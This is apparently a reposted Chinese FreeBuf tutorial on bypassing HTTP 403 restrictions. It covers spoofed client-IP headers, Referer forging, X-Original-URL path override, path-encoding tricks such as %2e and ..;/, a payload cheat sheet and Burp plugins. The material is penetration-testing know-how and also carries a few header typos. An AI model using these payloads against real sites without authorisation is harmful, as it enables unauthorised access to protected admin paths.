绕过403访问资源
2023-6-12 14:35:18 Author: www.freebuf.com(查看原文) 阅读量:51 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

在浏览网站的时候,经常会遇到403的状态码,表示不允许访问。该状态表示服务器理解了本次请求但是拒绝执行该任务,该请求不该重发给服务器。指的是服务器端有能力处理该请求,但是拒绝授权访问。

这就意味着这里面有东西,我们只需绕过它。

造成403的原因

先来看看造成403可能得原因有哪些?

1、你的IP被列入黑名单。

2、你在一定时间内过多地访问此网站(一般是用采集程序),被防火墙拒绝访问了。

3、网站域名解析到了空间,但空间未绑定此域名。

4、你的网页脚本文件在当前目录下没有执行权限。

5、在不允许写/创建文件的目录中执行了创建/写文件操作。

6、以http方式访问需要ssl连接的网址。

7、浏览器不支持SSL 128时访问SSL 128的连接。

8、在身份验证的过程中输入了错误的密码。

9、DNS解析错误,手动更改DNS服务器地址。

10、连接的用户过多,可以过后再试。

11、服务器繁忙,同一IP地址发送请求过多,遭到服务器智能屏蔽。

绕过方式

1)修改user-agent

有的应用为了区分爬虫或者正常请求,会验证user-agent,看是否浏览器发出的请求。

2)绕过IP限制

部门网站只允许特定的IP进行访问,应该会验证客户端的IP,如果不是规定的IP,则会返回403。

可以通过下面的方式绕过:

X-Originating-IP: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Client-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Forwared-Host: 127.0.0.1

X-Host: 127.0.0.1

X-Custom-IP-Authorization: 127.0.0.1

3)修改Referer

网站限制了访问来源,如果访问来源不符合,则也会返回403

绕过方式:

设置referer为访问网站的host

4)url覆盖绕过

用户可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。

可以这样绕过的原因:有很多的web应用,只对uri地址内容进行权限检查,这就导致uri路径正常访问之后,我又覆盖了新的地址,导致403 ByPass

请求包

GET / HTTP/1.1
X-Original-URL: /adminstration
X-Rewrite-URL: /adminstration
Host: www.abc.com
Host: 192.168.56.108

5)扩展名绕过

基于扩展名,用于绕过403受限制的目录。

site.com/admin => 403

site.com/admin/ => 200

site.com/admin// => 200

site.com//admin// => 200

site.com/admin/* => 200

site.com/admin/*/ => 200

site.com/admin/. => 200

site.com/admin/./ => 200

site.com/./admin/./ => 200

site.com/admin/./. => 200

site.com/admin/./. => 200

site.com/admin? => 200

site.com/admin?? => 200

site.com/admin??? => 200

site.com/admin…;/ => 200

site.com/admin/…;/ => 200

site.com/%2f/admin => 200

site.com/%2e/admin => 200

site.com/admin%20/ => 200

site.com/admin%09/ => 200

site.com/%20admin%20/ => 200

常用payload汇总

$1代表HOSTNAME

$2代表PATH

$1/$2
$1/%2e/$2
$1/$2/.
$1//$2//
* $1/./$2/./
$1/$2anything -H "X-Original-URL: /$2" 
$1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1" 
$1 -H "X-Rewrite-URL: /$2"
$1/$2 -H "Referer: /$2"
$1/$2 -H "X-Originating-IP: 127.0.0.1"
$1/$2 -H "X-Forwarded-For: 127.0.0.1"
$1/$2 -H "X-Remote-IP: 127.0.0.1"
$1/$2 -H "X-Client-IP: 127.0.0.1"
$1/$2 -H "X-Host: 127.0.0.1"
$1/$2 -H "X-Forwarded-Host: 127.0.0.1"
$1/$2%20/
$1/%20$2%20/
$1/$2?
$1/$2???
$1/$2//
$1/$2/
$1/$2/.randomstring
$1/$2..;/

常用工具

BurpSuite插件 403Bypasser:可以在burp扩展商店安装

1686551647_6486bc5f3c935cdcbf9a6.png!small?1686551647803

BurpSuite插件 BurpSuite_403Bypasser

项目地址:https://github.com/sting8k/BurpSuite_403Bypasser


文章来源: https://www.freebuf.com/articles/web/369206.html
如有侵权请联系:admin#unsafe.sh